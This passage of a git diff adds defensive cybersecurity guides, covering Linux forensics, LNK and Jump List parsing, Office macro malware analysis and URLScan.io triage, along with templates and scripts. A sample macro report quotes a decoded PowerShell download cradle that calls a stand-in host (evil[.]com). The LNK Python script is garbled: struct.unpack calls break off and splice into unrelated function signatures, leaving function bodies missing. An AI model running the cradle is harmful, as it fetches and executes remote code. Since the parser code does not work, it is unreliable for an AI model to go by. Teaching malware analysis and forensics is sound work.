backdoor keys, check crontab for persistence, review network connections. + +**Scenario 2: Web Server Compromise via Application Vulnerability** +Examine web server access and error logs for exploitation attempts, check /tmp and /dev/shm for webshells, analyze the web server user's activity (www-data), check for privilege escalation via SUID binaries or kernel exploits, review outbound connections. + +**Scenario 3: Insider Threat on Database Server** +Analyze the suspect user's bash_history for database dump commands, check for large tar/zip files in home directory or /tmp, examine scp/rsync commands for data transfer, review cron jobs for automated exfiltration, check USB device logs. + +**Scenario 4: Crypto-Miner on Cloud Instance** +Check for high-CPU processes in /proc (live) or systemd service files, examine crontab entries for miner restart scripts, check /tmp for mining binaries, analyze network connections for mining pool communications, review authorized_keys for attacker access. + +## Output Format + +``` +Linux Forensics Summary: + System: webserver01 (Ubuntu 22.04 LTS) + Hostname: webserver01.corp.local + Kernel: 5.15.0-91-generic + + User Accounts: + Total: 25 (3 with UID 0 - 1 ANOMALOUS) + Interactive shells: 8 users + Recently created: admin2 (created 2024-01-15) + + Authentication Events: + Successful SSH logins: 456 + Failed SSH attempts: 12,345 (from 23 unique IPs) + Sudo executions: 89 + + Persistence Mechanisms Found: + Cron jobs: 3 suspicious (reverse shell, miner restart) + Systemd services: 1 unknown (update-checker.service) + SSH keys: 2 unauthorized keys in root authorized_keys + rc.local: Modified with download cradle + + Suspicious Activity: + - bash_history contains wget to pastebin URL + - SUID binary /tmp/.hidden/escalate found + - /dev/shm/ contains compiled ELF binary + - LD_PRELOAD in /etc/ld.so.preload pointing to /lib/.hidden.so + + Report: /cases/case-2024-001/linux/analysis/ +``` diff --git a/skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md b/skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md new file mode 100644 index 00000000..bbae194c --- /dev/null +++ b/skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md @@ -0,0 +1,191 @@ +--- +name: analyzing-lnk-file-and-jump-list-artifacts +description: Analyze Windows LNK shortcut files and Jump List artifacts to establish evidence of file access, program execution, and user activity using LECmd, JLECmd, and manual binary parsing of the Shell Link Binary format. +domain: cybersecurity +subdomain: digital-forensics +tags: [lnk-files, jump-lists, lecmd, jlecmd, windows-forensics, shell-link, user-activity, file-access, program-execution, recent-files] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing LNK File and Jump List Artifacts + +## Overview + +Windows LNK (shortcut) files and Jump Lists are critical forensic artifacts that provide evidence of file access, program execution, and user behavior. LNK files are created automatically when a user opens a file through Windows Explorer or the Open/Save dialog, storing metadata about the target file including its original path, timestamps, volume serial number, NetBIOS name, and MAC address of the host system. Jump Lists, introduced in Windows 7, extend this by maintaining per-application lists of recently and frequently accessed files. These artifacts persist even after the target files are deleted, making them invaluable for establishing that a user accessed specific files at specific times. + +## Prerequisites + +- LECmd (Eric Zimmerman) for LNK file parsing +- JLECmd (Eric Zimmerman) for Jump List parsing +- Python 3.8+ with pylnk3 or LnkParse3 libraries +- Forensic image or triage collection from Windows system +- Timeline Explorer for CSV analysis + +## LNK File Locations + +| Location | Description | +|----------|-------------| +| `%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\` | Recent files accessed | +| `%USERPROFILE%\Desktop\` | User-created shortcuts | +| `%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\` | Start Menu shortcuts | +| `%USERPROFILE%\AppData\Roaming\Microsoft\Office\Recent\` | Office recent documents | + +## LNK File Structure + +### Shell Link Header (76 bytes) + +| Offset | Size | Field | +|--------|------|-------| +| 0x00 | 4 | HeaderSize (always 0x0000004C) | +| 0x04 | 16 | LinkCLSID (always 00021401-0000-0000-C000-000000000046) | +| 0x14 | 4 | LinkFlags | +| 0x18 | 4 | FileAttributes | +| 0x1C | 8 | CreationTime (FILETIME) | +| 0x24 | 8 | AccessTime (FILETIME) | +| 0x2C | 8 | WriteTime (FILETIME) | +| 0x34 | 4 | FileSize of target | +| 0x38 | 4 | IconIndex | +| 0x3C | 4 | ShowCommand | +| 0x40 | 2 | HotKey | + +### Key Forensic Fields in LNK Files + +- **Target file timestamps**: Creation, access, modification times of the referenced file +- **Volume information**: Serial number, drive type, volume label +- **Network share information**: UNC path, share name +- **Machine identifiers**: NetBIOS name, MAC address (from TrackerDataBlock) +- **Distributed Link Tracking**: Machine ID and object GUID + +## Analysis with EZ Tools + +### LECmd - LNK File Parser + +```powershell +# Parse all LNK files in Recent folder +LECmd.exe -d "C:\Evidence\Users\suspect\AppData\Roaming\Microsoft\Windows\Recent" --csv C:\Output --csvf lnk_analysis.csv + +# Parse a single LNK file with full details +LECmd.exe -f "C:\Evidence\Users\suspect\Desktop\Confidential.docx.lnk" --json C:\Output + +# Parse LNK files with additional detail levels +LECmd.exe -d "C:\Evidence\Users\suspect\AppData\Roaming\Microsoft\Windows\Recent" --csv C:\Output --csvf lnk_all.csv --all +``` + +### JLECmd - Jump List Parser + +```powershell +# Parse Automatic Jump Lists +JLECmd.exe -d "C:\Evidence\Users\suspect\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations" --csv C:\Output --csvf jumplists_auto.csv + +# Parse Custom Jump Lists +JLECmd.exe -d "C:\Evidence\Users\suspect\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" --csv C:\Output --csvf jumplists_custom.csv + +# Parse all jump lists with detailed output +JLECmd.exe -d "C:\Evidence\Users\suspect\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations" --csv C:\Output --csvf jumplists_auto.csv --ld +``` + +## Jump List Structure + +### Automatic Destinations (automaticDestinations-ms) + +These are OLE Compound files (Structured Storage) identified by AppID hash in the filename: + +| AppID Hash | Application | +|-----------|-------------| +| 5f7b5f1e01b83767 | Windows Explorer Pinned/Frequent | +| 1b4dd67f29cb1962 | Windows Explorer Recent | +| 9b9cdc69c1c24e2b | Notepad | +| a7bd71699cd38d1c | Notepad++ | +| 12dc1ea8e34b5a6 | Microsoft Paint | +| 7e4dca80246863e3 | Control Panel | +| 1cf97c38a5881255 | Microsoft Edge | +| f01b4d95cf55d32a | Windows Explorer | +| 9d1f905ce5044aee | Microsoft Excel | +| a4a5324453625195 | Microsoft Word | +| d00655d2aa12ff6d | Microsoft PowerPoint | +| bc03160ee1a59fc1 | Outlook | + +### Custom Destinations (customDestinations-ms) + +Created when users pin items to application jump lists. These files contain sequential LNK entries. + +## Python Analysis Script + +```python +import struct +import os +from datetime import datetime, timedelta + +FILETIME_EPOCH = datetime(1601, 1, 1) + +def filetime_to_datetime(filetime_bytes: bytes) -> datetime: + """Convert Windows FILETIME (100-ns intervals since 1601) to datetime.""" + ft = struct.unpack(" dict: + """Parse the Shell Link header from an LNK file.""" + with open(lnk_path, "rb") as f: + header = f.read(76) + + header_size = struct.unpack(" dict: + """Parse a Windows LNK file and extract forensic metadata.""" + with open(filepath, "rb") as f: + data = f.read() + + if len(data) < 76: + return {"error": "File too small for LNK header"} + + header_size = struct.unpack(" str: + """Scan a directory for LNK files and generate analysis report.""" + os.makedirs(output_dir, exist_ok=True) + results = [] + + for root, dirs, files in os.walk(lnk_dir): + for fname in files: + if fname.lower().endswith(".lnk"): + filepath = os.path.join(root, fname) + parsed = parse_lnk_file(filepath) + results.append(parsed) + + report_path = os.path.join(output_dir, "lnk_analysis_report.json") + with open(report_path, "w") as f: + json.dump({ + "analysis_timestamp": datetime.now().isoformat(), + "source_directory": lnk_dir, + "total_lnk_files": len(results), + "files": results + }, f, indent=2, default=str) + + print(f"[*] Analyzed {len(results)} LNK files") + print(f"[*] Report: {report_path}") + return report_path + + +def main(): + if len(sys.argv) < 3: + print("Usage: python process.py ") + sys.exit(1) + scan_directory(sys.argv[1], sys.argv[2]) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-macro-malware-in-office-documents/SKILL.md b/skills/analyzing-macro-malware-in-office-documents/SKILL.md new file mode 100644 index 00000000..7e05422d --- /dev/null +++ b/skills/analyzing-macro-malware-in-office-documents/SKILL.md @@ -0,0 +1,320 @@ +--- +name: analyzing-macro-malware-in-office-documents +description: > + Analyzes malicious VBA macros embedded in Microsoft Office documents (Word, Excel, PowerPoint) + to identify download cradles, payload execution, persistence mechanisms, and anti-analysis + techniques. Uses olevba, oledump, and VBA deobfuscation to extract the attack chain. + Activates for requests involving Office macro analysis, VBA malware investigation, + maldoc analysis, or document-based threat examination. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, macro, Office, VBA, document-malware] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Macro Malware in Office Documents + +## When to Use + +- A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security +- Investigating phishing campaigns that deliver weaponized Office documents +- Extracting VBA macro code to identify the payload download URL and execution method +- Analyzing obfuscated VBA code to understand the full attack chain +- Determining if a document uses DDE, ActiveX, or remote template injection instead of macros + +**Do not use** for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed. + +## Prerequisites + +- Python 3.8+ with oletools installed (`pip install oletools`) +- oledump.py from Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/) +- Isolated analysis VM without Microsoft Office installed (prevents accidental execution) +- XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator) +- LibreOffice for safe document rendering (does not execute VBA macros by default) + +## Workflow + +### Step 1: Initial Document Triage + +Determine if the document contains macros or other active content: + +```bash +# Quick triage with olevba +olevba suspect.docm + +# Check for OLE streams and macros +oleid suspect.docm + +# Output indicators: +# VBA Macros: True/False +# XLM Macros: True/False +# External Relationships: True/False (remote template) +# ObjectPool: True/False (embedded objects) +# Flash: True/False (SWF objects) + +# Comprehensive OLE analysis +oledump.py suspect.docm + +# List all OLE streams with macro indicators +# Streams marked with 'M' contain VBA macros +# Streams marked with 'm' contain macro attributes +``` + +### Step 2: Extract and Analyze VBA Code + +Pull out the complete VBA macro source: + +```bash +# Extract VBA with full deobfuscation +olevba --decode --deobf suspect.docm + +# Extract just the VBA source code +olevba --code suspect.docm > extracted_vba.txt + +# Detailed extraction with oledump +oledump.py -s 8 -v suspect.docm # Stream 8 (adjust based on stream listing) + +# Extract all macro streams +oledump.py -p plugin_vba_dco suspect.docm +``` + +``` +Key VBA Elements to Identify: +━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Auto-Execution Triggers: + - Auto_Open / AutoOpen (Word) + - Auto_Close / AutoClose + - Document_Open / Document_Close + - Workbook_Open (Excel) + - AutoExec + +Suspicious Functions: + - Shell() / Shell.Application + - WScript.Shell.Run / Exec + - CreateObject("WScript.Shell") + - PowerShell execution + - URLDownloadToFile + - MSXML2.XMLHTTP (HTTP requests) + - ADODB.Stream (file writing) + - Environ() (environment variables) + - CallByName (indirect method calls) +``` + +### Step 3: Deobfuscate VBA Code + +Remove obfuscation layers to reveal the payload: + +```python +# VBA deobfuscation techniques +import re + +def deobfuscate_vba(code): + # 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht" + def resolve_chr(match): + try: + return chr(int(match.group(1))) + except: + return match.group(0) + code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code) + + # 2. Remove string concatenation: "htt" & "p://" -> "http://" + code = re.sub(r'"\s*&\s*"', '', code) + + # 3. Resolve ChrW calls: ChrW(104) + code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code) + + # 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe" + def resolve_reverse(match): + return '"' + match.group(1)[::-1] + '"' + code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code) + + # 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review) + + # 6. Resolve Replace(): Replace("Powxershxell", "x", "") + def resolve_replace(match): + original = match.group(1) + find = match.group(2) + replace_with = match.group(3) + return '"' + original.replace(find, replace_with) + '"' + code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code) + + return code + +with open("extracted_vba.txt") as f: + vba_code = f.read() + +deobfuscated = deobfuscate_vba(vba_code) +print(deobfuscated) +``` + +### Step 4: Analyze Excel 4.0 (XLM) Macros + +Handle legacy Excel macros that bypass VBA detection: + +```bash +# Detect XLM macros +olevba --xlm suspect.xlsm + +# Deobfuscate XLM macros +xlmdeobfuscator -f suspect.xlsm + +# Manual XLM analysis with oledump +oledump.py suspect.xlsm -p plugin_biff.py + +# XLM (Excel 4.0) macro functions to watch for: +# EXEC() - Execute shell command +# CALL() - Call DLL function +# REGISTER() - Register DLL function +# URLDownloadToFileA - Download file +# ALERT() - Display message (social engineering) +# HALT() - Stop execution +# GOTO() - Control flow +# IF() - Conditional execution +``` + +### Step 5: Check for Non-Macro Attack Vectors + +Examine the document for DDE, remote templates, and embedded objects: + +```bash +# Check for DDE (Dynamic Data Exchange) +python3 -c " +import zipfile +import xml.etree.ElementTree as ET +import re + +z = zipfile.ZipFile('suspect.docx') +for name in z.namelist(): + if name.endswith('.xml') or name.endswith('.rels'): + content = z.read(name).decode('utf-8', errors='ignore') + # DDE field codes + if 'DDEAUTO' in content or 'DDE ' in content: + print(f'[!] DDE found in {name}') + dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content) + for m in dde_match: + print(f' Command: {m}') + # Remote template + if 'attachedTemplate' in content or 'Target=' in content: + urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content) + for url in urls: + print(f'[!] Remote template URL: {url}') +" + +# Check for embedded OLE objects +oledump.py -p plugin_msg.py suspect.docm + +# Check relationships for external references +python3 -c " +import zipfile +z = zipfile.ZipFile('suspect.docx') +for name in z.namelist(): + if '.rels' in name: + content = z.read(name).decode('utf-8', errors='ignore') + if 'http' in content.lower() or 'ftp' in content.lower(): + print(f'External reference in {name}:') + import re + urls = re.findall(r'Target=\"([^\"]+)\"', content) + for url in urls: + print(f' {url}') +" +``` + +### Step 6: Generate Analysis Report + +Document the complete macro malware analysis: + +``` +Report should include: +- Document metadata (author, creation date, modification date) +- Macro presence and type (VBA, XLM, DDE, remote template) +- Auto-execution trigger identified +- Deobfuscated VBA source code (key functions) +- Download URL(s) for second-stage payloads +- Execution method (Shell, WScript, PowerShell, COM object) +- Social engineering lure description +- Extracted IOCs (URLs, domains, IPs, file hashes) +- YARA rule for the specific document pattern +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **VBA Macro** | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands | +| **Auto_Open** | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware | +| **OLE (Object Linking and Embedding)** | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects | +| **DDE (Dynamic Data Exchange)** | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates | +| **Remote Template Injection** | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection | +| **XLM Macros (Excel 4.0)** | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools | +| **Protected View** | Office sandbox that prevents macro execution until the user clicks "Enable Content"; social engineering targets this barrier | + +## Tools & Systems + +- **oletools (olevba)**: Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs +- **oledump.py**: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction +- **XLMDeobfuscator**: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas +- **ViperMonkey**: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior +- **YARA**: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators + +## Common Scenarios + +### Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros + +**Context**: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to "Enable Content" to view the full document. + +**Approach**: +1. Run oleid to confirm VBA macros are present and identify auto-execution triggers +2. Extract VBA code with olevba --decode --deobf for initial deobfuscation +3. Identify the auto-execution entry point (Auto_Open or Document_Open) +4. Trace the execution flow from the entry point through helper functions +5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL +6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell) +7. Extract all IOCs and create YARA rules for the specific obfuscation pattern + +**Pitfalls**: +- Opening the document in Microsoft Office for "quick analysis" instead of using command-line tools +- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers) +- Ignoring document metadata that may contain attacker fingerprints (author name, template name) +- Not checking for both VBA and XLM macros in the same document (some malware uses both) + +## Output Format + +``` +OFFICE MACRO MALWARE ANALYSIS +================================ +Document: invoice_q3_2025.docm +SHA-256: e3b0c44298fc1c149afbf4c8996fb924... +File Type: Microsoft Word Document (OOXML with macros) +Author: Administrator +Creation Date: 2025-09-10 14:23:00 + +MACRO ANALYSIS +Type: VBA Macro +Trigger: AutoOpen() +Streams: 3 VBA streams (ThisDocument, Module1, Module2) + +DEOBFUSCATED EXECUTION CHAIN +1. AutoOpen() -> Calls Module1.RunPayload() +2. RunPayload() builds command string via Chr() concatenation +3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA... +4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1') + +SOCIAL ENGINEERING LURE +- Document displays fake "Protected Document" image +- Instructs user to "Enable Content" to view the document +- Content is blurred/hidden until macros execute + +EXTRACTED IOCs +Download URL: hxxp://evil[.]com/payload.ps1 +C2 Domain: evil[.]com +IP Address: 185.220.101[.]42 +User-Agent: PowerShell (default WebClient) + +MITRE ATT&CK +T1566.001 Phishing: Spearphishing Attachment +T1204.002 User Execution: Malicious File +T1059.001 Command and Scripting Interpreter: PowerShell +T1059.005 Command and Scripting Interpreter: Visual Basic +``` diff --git a/skills/analyzing-malicious-url-with-urlscan/SKILL.md b/skills/analyzing-malicious-url-with-urlscan/SKILL.md new file mode 100644 index 00000000..69795b05 --- /dev/null +++ b/skills/analyzing-malicious-url-with-urlscan/SKILL.md @@ -0,0 +1,84 @@ +--- +name: analyzing-malicious-url-with-urlscan +description: URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolat +domain: cybersecurity +subdomain: phishing-defense +tags: [phishing, email-security, social-engineering, dmarc, awareness, url-analysis, threat-intelligence] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Malicious URL with URLScan + +## Overview +URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolated environment. This skill covers using URLScan's web interface and API to investigate phishing URLs, credential harvesting pages, and malicious redirects without exposing the analyst's system to risk. + +## Prerequisites +- URLScan.io account (free tier available, API key for automation) +- Python 3.8+ with requests library +- Understanding of HTTP protocols and web technologies +- Familiarity with phishing URL patterns + +## Key Concepts + +### URLScan Capabilities +1. **Safe browsing**: Renders URLs in isolated Chromium instance +2. **Screenshot capture**: Visual snapshot of the rendered page +3. **DOM analysis**: Full HTML content after JavaScript execution +4. **Network log**: All HTTP requests made by the page (HAR format) +5. **Certificate analysis**: SSL/TLS certificate details +6. **Technology detection**: Identifies web frameworks and libraries +7. **IP/ASN mapping**: Infrastructure intelligence +8. **Verdict**: Community and automated classification + +### Phishing URL Red Flags +- Newly registered domains (< 30 days) +- Free hosting services (Wix, GitHub Pages, Firebase) +- URL shorteners hiding final destination +- Excessive subdomain depth (login.microsoft.com.evil.com) +- Brand name in subdomain or path, not domain +- Non-standard ports +- Data URIs or base64-encoded content +- JavaScript-heavy pages with minimal HTML + +## Implementation Steps + +### Step 1: Submit URL to URLScan +``` +Web: Navigate to https://urlscan.io and submit the suspicious URL +API: POST https://urlscan.io/api/v1/scan/ + Header: API-Key: your-api-key + Body: {"url": "https://suspicious-url.com", "visibility": "private"} +``` + +### Step 2: Analyze Results +- Review screenshot for brand impersonation +- Check redirects and final destination URL +- Examine DOM for credential input forms +- Review network requests for data exfiltration endpoints +- Check SSL certificate validity and issuer + +### Step 3: Extract IOCs +- Domains and IPs contacted +- URLs in redirect chain +- SHA-256 hashes of page resources +- JavaScript file hashes + +### Step 4: Cross-Reference with Threat Intelligence +Use the `scripts/process.py` to automate URL scanning, extract IOCs, and cross-reference with VirusTotal, PhishTank, and Google Safe Browsing. + +## Tools & Resources +- **URLScan.io**: https://urlscan.io/ +- **URLScan API**: https://urlscan.io/docs/api/ +- **VirusTotal URL Scanner**: https://www.virustotal.com/ +- **PhishTank**: https://phishtank.org/ +- **Google Safe Browsing**: https://transparencyreport.google.com/safe-browsing/search +- **Any.Run**: https://any.run/ (interactive sandbox) +- **Hybrid Analysis**: https://www.hybrid-analysis.com/ + +## Validation +- Successfully scan a suspicious URL via API +- Extract screenshot and identify brand impersonation +- Document complete redirect chain +- Generate IOC list from scan results +- Cross-reference findings with at least 2 threat intelligence sources diff --git a/skills/analyzing-malicious-url-with-urlscan/assets/template.md b/skills/analyzing-malicious-url-with-urlscan/assets/template.md new file mode 100644 index 00000000..9081c783 --- /dev/null +++ b/skills/analyzing-malicious-url-with-urlscan/assets/template.md @@ -0,0 +1,87 @@ +# URL Analysis Report Template + +## Analysis Information +- **Analyst**: [Name] +- **Date**: [YYYY-MM-DD] +- **Case ID**: [CASE-XXXX] +- **Source**: [User report / Email gateway / SIEM alert] + +## URL Details +| Field | Value | +|---|---| +| Original URL | | +| Defanged URL | hxxps://... | +| Final URL (after redirects) | | +| URLScan UUID | | +| Scan visibility | private/public | + +## Page Analysis +| Field | Value | +|---|---| +| Page Title | | +| HTTP Status | | +| Server | | +| Domain | | +| IP Address | | +| ASN | | +| Country | | +| Login Form Detected | Yes/No | + +## TLS Certificate +| Field | Value | +|---|---| +| Issuer | | +| Subject | | +| Valid From | | +| Valid To | | +| Certificate Age | | + +## Redirect Chain +| # | URL | Status | +|---|---|---| +| 1 (original) | | | +| 2 | | | +| 3 (final) | | | + +## Threat Intelligence Cross-Reference +| Source | Result | Score | +|---|---|---| +| URLScan Verdict | | | +| VirusTotal | /XX engines | | +| PhishTank | | | +| Google Safe Browsing | | | +| AbuseIPDB | | | + +## IOCs Extracted +### Domains +| Domain | Role | Reputation | +|---|---|---| +| | | | + +### IP Addresses +| IP | ASN | Country | Reputation | +|---|---|---|---| +| | | | | + +### File Hashes +| Hash (SHA-256) | Type | Size | +|---|---|---| +| | | | + +## Classification +- [ ] Phishing - Credential Harvesting +- [ ] Phishing - Malware Delivery +- [ ] Scam / Fraud +- [ ] Benign +- [ ] Inconclusive + +## Recommended Actions +- [ ] Block domain at proxy/firewall +- [ ] Block IP at firewall +- [ ] Add to email gateway blocklist +- [ ] Submit to PhishTank / APWG +- [ ] Notify affected users +- [ ] Request domain takedown + +## Notes +[Additional analysis observations] diff --git a/skills/analyzing-malicious-url-with-urlscan/references/standards.md b/skills/analyzing-malicious-url-with-urlscan/references/standards.md new file mode 100644 index 00000000..65ca408f --- /dev/null +++ b/skills/analyzing-malicious-url-with-urlscan/references/standards.md @@ -0,0 +1,42 @@ +# Standards & References: Analyzing Malicious URLs with URLScan + +## MITRE ATT&CK References +- **T1566.002**: Phishing: Spearphishing Link +- **T1204.001**: User Execution: Malicious Link +- **T1608.005**: Stage Capabilities: Link Target +- **T1071.001**: Application Layer Protocol: Web Protocols +- **T1102**: Web Service (for C2 via web) + +## URLScan.io API Reference +| Endpoint | Method | Description | +|---|---|---| +| `/api/v1/scan/` | POST | Submit URL for scanning | +| `/api/v1/result/{uuid}/` | GET | Get scan results | +| `/api/v1/search/?q=` | GET | Search scan database | +| `/api/v1/result/{uuid}/screenshot/` | GET | Get page screenshot | +| `/api/v1/result/{uuid}/dom/` | GET | Get rendered DOM | + +### Search Query Syntax +- `domain:example.com` - Search by domain +- `ip:1.2.3.4` - Search by IP +- `server:nginx` - Search by web server +- `filename:login.php` - Search by filename +- `hash:abc123` - Search by resource hash +- `page.domain:example.com AND date:>now-7d` - Combined queries + +## Industry Standards +- **NIST SP 800-83**: Guide to Malware Incident Prevention and Handling +- **NIST SP 800-86**: Guide to Integrating Forensic Techniques into Incident Response +- **RFC 3986**: Uniform Resource Identifier (URI) syntax + +## URL Classification Indicators +| Indicator | Risk Level | Description | +|---|---|---| +| Domain age < 7 days | Critical | Very recently registered | +| Domain age < 30 days | High | Recently registered | +| Free TLS cert (Let's Encrypt) with brand impersonation | High | Common phishing pattern | +| URL shortener | Medium | Obfuscates destination | +| Credential input form on non-brand domain | Critical | Credential harvesting | +| JavaScript obfuscation | High | Evasion technique | +| Multiple redirects | Medium | Chain obfuscation | +| Data URI scheme | High | Inline content, hard to trace | diff --git a/skills/analyzing-malicious-url-with-urlscan/references/workflows.md b/skills/analyzing-malicious-url-with-urlscan/references/workflows.md new file mode 100644 index 00000000..71f7dd90 --- /dev/null +++ b/skills/analyzing-malicious-url-with-urlscan/references/workflows.md @@ -0,0 +1,96 @@ +# Workflows: Analyzing Malicious URLs with URLScan + +## Workflow 1: URL Triage Pipeline + +``` +Suspicious URL received (from user report / email gateway / SIEM) + | + v +[Step 1: Defang and document URL] + +-- Replace http with hxxp, . with [.] + +-- Record original context (email subject, sender, timestamp) + | + v +[Step 2: Submit to URLScan (private visibility)] + +-- POST to /api/v1/scan/ + +-- Wait for scan completion (poll /api/v1/result/{uuid}/) + | + v +[Step 3: Analyze results] + +-- Review screenshot for brand impersonation + +-- Check redirect chain (original URL vs final URL) + +-- Examine DOM for login forms / credential inputs + +-- Review network requests for suspicious endpoints + +-- Check SSL certificate details + | + v +[Step 4: Classify] + +-- Phishing (credential harvesting) + +-- Malware delivery + +-- Scam / fraud + +-- Benign (false positive) + | + v +[Step 5: Action] + +-- If malicious: Extract IOCs, block domain/IP, update filters + +-- If benign: Document and close + +-- If uncertain: Escalate for deeper analysis +``` + +## Workflow 2: Bulk URL Analysis + +``` +URL list from email gateway / threat feed + | + v +[Batch submit to URLScan API] + +-- Rate limit: 2 submissions/second (free tier) + +-- Use private visibility for sensitive URLs + | + v +[Collect all results] + +-- Poll each scan UUID for completion + +-- Download screenshots and DOM content + | + v +[Automated triage] + +-- Flag: credential input forms detected + +-- Flag: brand impersonation in screenshot + +-- Flag: known phishing infrastructure (IP/ASN) + +-- Flag: newly registered domains + | + v +[Generate report] + +-- Categorized URL list (malicious / suspicious / clean) + +-- IOC extract for blocking + +-- Statistics summary +``` + +## Workflow 3: IOC Extraction and Enrichment + +``` +URLScan result available + | + v +[Extract from scan] + +-- All domains contacted + +-- All IPs contacted + +-- SSL certificate fingerprints + +-- JavaScript file hashes + +-- Page resource hashes + +-- Final redirect URL + | + v +[Cross-reference] + +-- VirusTotal: domain/IP/hash reputation + +-- PhishTank: known phishing URL database + +-- WHOIS: domain registration details + +-- AbuseIPDB: IP abuse reports + +-- Google Safe Browsing: malware/phishing flags + | + v +[Compile IOC package] + +-- STIX/TAXII format for TIP + +-- CSV for firewall/proxy rules + +-- JSON for SIEM enrichment +``` diff --git a/skills/analyzing-malicious-url-with-urlscan/scripts/process.py b/skills/analyzing-malicious-url-with-urlscan/scripts/process.py new file mode 100644 index 00000000..d57a36ad --- /dev/null +++ b/skills/analyzing-malicious-url-with-urlscan/scripts/process.py @@ -0,0 +1,439 @@ +#!/usr/bin/env python3 +""" +URLScan.io URL Analysis Automation + +Submits suspicious URLs to URLScan.io for analysis, retrieves results, +extracts IOCs, and cross-references with threat intelligence sources. + +Usage: + python process.py scan --url "https://suspicious-site.com" + python process.py scan --url-file urls.txt + python process.py result --uuid + python process.py search --query "domain:evil.com" + python process.py ioc --uuid +""" + +import argparse +import json +import sys +import time +import os +import hashlib +from datetime import datetime, timezone +from pathlib import Path +from dataclasses import dataclass, field, asdict + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +URLSCAN_API_KEY = os.environ.get("URLSCAN_API_KEY", "") +URLSCAN_BASE = "https://urlscan.io/api/v1" +VT_API_KEY = os.environ.get("VT_API_KEY", "") + + +@dataclass +class URLScanResult: + """Parsed URLScan result.""" + uuid: str = "" + url: str = "" + effective_url: str = "" + status_code: int = 0 + domain: str = "" + ip: str = "" + asn: str = "" + asn_name: str = "" + country: str = "" + server: str = "" + title: str = "" + tls_issuer: str = "" + tls_subject: str = "" + tls_valid_from: str = "" + tls_valid_to: str = "" + screenshot_url: str = "" + dom_url: str = "" + technologies: list = field(default_factory=list) + redirects: list = field(default_factory=list) + domains_contacted: list = field(default_factory=list) + ips_contacted: list = field(default_factory=list) + urls_contacted: list = field(default_factory=list) + has_login_form: bool = False + resource_hashes: list = field(default_factory=list) + verdicts: dict = field(default_factory=dict) + is_malicious: bool = False + risk_indicators: list = field(default_factory=list) + + +def submit_scan(url: str, visibility: str = "private", + api_key: str = "") -> dict: + """Submit a URL to URLScan for scanning.""" + if not api_key: + api_key = URLSCAN_API_KEY + if not api_key: + print("Warning: No URLScan API key provided. Using public submission.", file=sys.stderr) + + headers = {"Content-Type": "application/json"} + if api_key: + headers["API-Key"] = api_key + + data = {"url": url, "visibility": visibility} + + try: + resp = requests.post(f"{URLSCAN_BASE}/scan/", headers=headers, + json=data, timeout=30) + if resp.status_code == 200: + return resp.json() + elif resp.status_code == 429: + print("Rate limited. Waiting 10 seconds...", file=sys.stderr) + time.sleep(10) + resp = requests.post(f"{URLSCAN_BASE}/scan/", headers=headers, + json=data, timeout=30) + return resp.json() if resp.status_code == 200 else {"error": resp.text} + else: + return {"error": f"HTTP {resp.status_code}: {resp.text}"} + except Exception as e: + return {"error": str(e)} + + +def get_result(uuid: str, api_key: str = "", max_wait: int = 60) -> dict: + """Get scan results, polling until ready.""" + if not api_key: + api_key = URLSCAN_API_KEY + + headers = {} + if api_key: + headers["API-Key"] = api_key + + for attempt in range(max_wait // 5): + try: + resp = requests.get(f"{URLSCAN_BASE}/result/{uuid}/", + headers=headers, timeout=30) + if resp.status_code == 200: + return resp.json() + elif resp.status_code 